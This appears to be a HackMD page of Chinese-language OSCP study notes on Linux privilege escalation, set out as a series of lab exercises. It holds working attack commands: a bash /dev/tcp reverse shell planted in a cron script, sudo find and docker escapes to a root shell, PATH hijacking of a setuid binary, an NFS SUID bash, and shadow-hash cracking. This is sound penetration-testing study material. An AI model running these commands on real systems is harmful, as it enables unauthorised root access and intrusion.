Josh Ji
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # OSCP Day 6 ###### tags: `OSCP` recon SQL HASH Crack admin login web shell escalation root post penatration -> 提權 橫向移動 ## What is privilege in linux ### Every thing is file 將所有操作抽象化為檔案操作 檔案,設備,網路傳輸,行程 ### User Permission UID -> uniqe id GUID -> group uniqe id UID 0 -> root UID 1-999 -> system users 受限的權縣 UID 65534 -> nobody NFS系統 讓檔案不屬於任何人 非常受限的權縣 UID 100-65533,65536-2^32-1 -> regular user /etc/passwd /etc/shadow ```bash= root:$1$6RjnAVjl$tP4v2vFRTOJUPEoaNZixK0:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash #密碼被換成x 放在/etc/shadow ``` ### File Permission User,Group,Other 各自有Read,Write,Execute -rwxrwxrwx -> 777 drwxrwxrwx 1 user user 0 Jun 28 18:40 testd 檔案類型 * - * d * l -> 捷徑 * p -> name pipe > 在記憶體的檔案 程式之間共享資訊的方法 * s -> Socket file > 權限類型 * 777 跨平台複製檔案 例如 window 複製到linux * 755 系統資料夾 * 700 個人檔案 * 664 共用文字檔案或資料檔案 系統預設 * 400 機敏檔案 chmod ```bash= chmod +x, -w chmod u+x,g+w,a-r,a-wx chmod 755 ``` ### Process Permission UID-> 執行者 Effective UID, eUID -> 實際執行權限 ex: passwd 為什麼可以修改/etc/shadow ? rws Setuid -> 賦予程式修改UID的權限 例如修改成root 然後再執行程式 ex: 如果給cat +s 結果能夠讀取root的檔案 suid的限制 * 透過chmod賦予 * 只對執行檔有效 * 只能賦予執行檔owner的權限 * 只在程式執行期間有效 ## privilege escalation in linux ### sudo 暫時切換成某個使用者身分 根據sudoer files控制 sudoer格式 ```bash= root ALL = (ALL) ALL 使用者 登入者來源主機名稱 = (可切換的身分或群組) 可下達的指令 group ALL = (ALL) ALL root ALL = (ALL) NOPASSWD:ALL #切換時不用輸入密碼 ``` ```bash= # 列出能夠切換的使用者 sudo -l ``` ### 權限檢查 你是誰(UID) -> 執行時的權限(EUID) -> 檔案的權限(-rw-------) ### 0x01 修改UID 拿到root 米馬爆破 透過漏洞修改密碼 社交工程 客戶段攻擊 秀改系統程式 修改corntab ### 0x02 修改EUID * 利用root process * web server漏洞 * db權限過高 * 利用SetUID * 尋找特殊權限指令 透過他spawn shell * sudo權限設定錯誤 ### 注意事項 盡量以tty shell為主 sudo -i sudo -u su - ssh 有些手法 環境變數可能會不見 例如 cd的使用會怪怪的 因為$HOME沒有更新到 PATH HOME 不適每一題都會要提權 但大部分是 ## practical privilege escalation ### Initail Access #### 我是誰 用各種手法取得shell 取得shell之後如何蒐集環境資訊 ```bash= whoami id ``` 鎖定使用者類型 1. 服務 (www-data mysql) 2. 一般 3. 系統管理員 #### 我在哪 hostname ip addr ipfonfig ss -antlp uname -a cat /etc/issue #### 該往哪走 其他有哪些人 cat /etc/passwd cat /etc/group 有些是nologin 特殊群組 sudo docker lxd #### 特殊群組攻擊 把目錄掛到docker裡面 用裡面的root執行外面的檔案 * docker * docker run -v /:/host ubuntu:18.04 bash * lxd #### 實作0 用user01/user01 ssh 模擬拿到一般shell的情境 先用whoami取得user id 偵查環境 #### 利用服務權限 程式會繼承parent的權限 由程式呼叫程式 * web shell * db UDF (user define functions) * email ```bash= # 列出網路監聽的情況 ss -antlp ``` *:3306 vs 127.0.0.1:3306 * 80, 443 apache nginx /var/www/html 寫 webshell * 3306 mysql mysql UDF * 1433 mssql xp_cmdshell * 25 FTP 上傳後門檔案 VSFTPd RCE #### 找出服務執行者 ```bash= # 列出正在執行那些服務 ps aux ``` #### 實作1 使用 ```bash= ps aux | grep user02 ``` 發現有開apache 連到10.7.30.210:80 有提示/var/www/html/ 到該目錄發現有個shell.php cat 出來發現她會連線到本地12345 port 所以我在本地開一個nc -nvlp 12345 然後觸發shell.php的網頁讓他連到12345 port 就可以拿到user02的shell #### 尋找本機機敏資訊 backup file service config 使用者信件 ssh公私鑰 要會通靈 常用指令 * find ```bash= # 只列兩層 find . maxdepth=2 2>&1 ``` * grep ```bash= # 找檔案內容 grep -r pass .local ``` ```bash= find / -name backup* 2>/dev/null 發現backup檔案 解壓縮後發現vpn與root密碼 ``` #### 實作2 進入到user02 掃描家目錄 ```bash= grep -r user03 /home/user02 ``` 發現 ![](https://hackmd.io/_uploads/rJSbCTaE2.png) 用這個密碼ssh user03 #### 實作3 進入到user03 發現家目錄有.ssh grep -r user04 . 發現有user04 的 ssh key 用 ssh user04@localhost #### 利用系統元件 例如passwd任何人可寫 可修改密碼 /etc/passwd /etc/shadow ```bash= # 2>/dev/null 把error削掉 find / -writable -type d 2>/dev/null find / -readable -type f 2>/dev/null find / -writable -type d 2>/dev/null ``` #### Linux密碼格式 crypt函式庫 $alg$salt$hash $1$ md5 $2a$ $2y$ blowfish # 又叫做bcrypt 特性是算很慢heavy loading 可防止暴力破解 $5$ sha256 $6$ sha512 ### 產生密碼檔案 linux預設會有salt ```bash= mkpasswd -5 test # md5 ``` ```bash= openssl passwd -1 test # md5 ``` #### shadow暴力破解 OSCP基本上都是用rockyou為主 john hashcat #### 實作4 進入user04 user04有shadow檔 發現user05的hash 用john爆破 密碼是anthony #### 實作5 進入user05 ```bash= su user05 anthony # 或 su - user05 anthony ``` 使用sudo -l 發現有奇怪的sudo指令可以使用set-passwd.sh 他可以把密碼的hash寫到passwd 所以用openssl或mkpasswd生一個密碼 ```bash= openssl passwd -1 test # md5 ``` ```bash= sudo /uar/local/bin/set-passwd.sh [提示你寫入hash到stdin] ``` 然後使用ssh或su進入user06 ```bash= ssh user06@10.7.30.210 test ``` ```bash= #! /bin/bash echo # 輸出字串 read password_hash # 讀取stdin放到password_hash awk # https://ithelp.ithome.com.tw/articles/10268041 ``` #### 本機排程 ```bash= crontab atq ls -al /etc/con* cat /etc/crontab ``` https://contab.guru/ 攻擊方式就是列舉出所有的排程看有沒有可以修改的排程腳本 把攻擊指令寫到牌程的腳本 但Crontab不是所有使用者都看得到 所以可以使用pspy列出目前有誰執行了那些指令 #### 實作6 使用lab預先放置的pspy列舉所有proccess 發現有user07 執行了一個backup.sh 並且user06可以修改 所以產生一個reverse shell寫入backup.sh ```bash= # 把這行寫到backup.sh bash -i >& /dev/tcp/127.0.0.1/12345 0>&1 ``` 當時間到時就會用user07連線回來 #### 濫用sudo 有些的城市可以叫出shell像是find NOPASSWD 如果sudoer設定錯誤,像是NOPASSWD或是有可以執行Shell的城市, 可以被利用,以高權限使用可以叫出shell的城市 可以用GTFObins查詢各種工具叫出Shell方式 ``` sudo -l sudo -u <userid> <command> ``` ``` python -c "import pty;pty.spawn('/bin/bash')" ``` #### 實作7 使用sudo -l 發現可以以user08執行find 而且NOPASSWD ``` # 這個指令是 先用sudo -u切換成user08 然後使用find -exec的指令 sudo -u user08 find . -exec /bin/bash \; -quit ``` #### 利用setuid bit ``` # 搜尋所有 有SetUID bit的檔案 find / -perm -u=s -type f 2>/dev/null ``` #### setuid path hijacking linux在找指令時 會透過PATH依序找 所以我們可以把我們可以控制的目錄塞到PATH的最前面 把惡意指令的名字改成與目標的一樣 下次在執行時就會找到惡意指令去執行 複寫PATH ```bash= PATH=asdf env# 只在這一行會有用 export PATH=asdf$PATH env # 只會在當前的session有用 ``` ```bash= # 設定cat的EOF cat > log <<EOF ``` #### 實作8 在/home/user08有 listworld 與 listworld.c 用ls -al發現listworld 有setuid bit 觀察listworld.c發現她會執行id這個指令 而且他是使用相對路徑 所以我們可以把/bin/bash複製到當前目錄改名叫做id 然後修改PATH讓他優先找當前目錄 再執行listworld就會用user09執行shell了 ```bash= strings listworld # 會把執行檔的所有String 印出來 # 可以看說這個執行檔有沒有執行奇怪的指令 ``` #### Kernle Exploit DirtyCow - kernel < 4.9 32bit PwnKit - Polkit < 0.105 45010.c 有時候再kali編譯的東西把機不能執行, 這時可以把原始碼傳到把機 用靶機編譯 #### 利用NFS服務 server端分享資料夾出來 client把資料夾掛再本地上 NST會保留分享資料夾上的owner permission資訊 如果上船的uid server沒有? 上傳的的權限如果是root? ``` /mnt/nfs * (rw,ro,,no_root_squash) ``` ``` showmount -e 10.7.30.210 mount 10.7.30.210:/mnt/nfs ``` #### 實作10 發現user09有分享nfs 用kali掛上nfs 在user09複製/bin/bash到nfs的資料夾 然後用kali的sudo指令把nfs裡面的bash的擁有者換成root 然後加上chmod a+s 然後在user09上就可以用./bash -p取得root shell

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully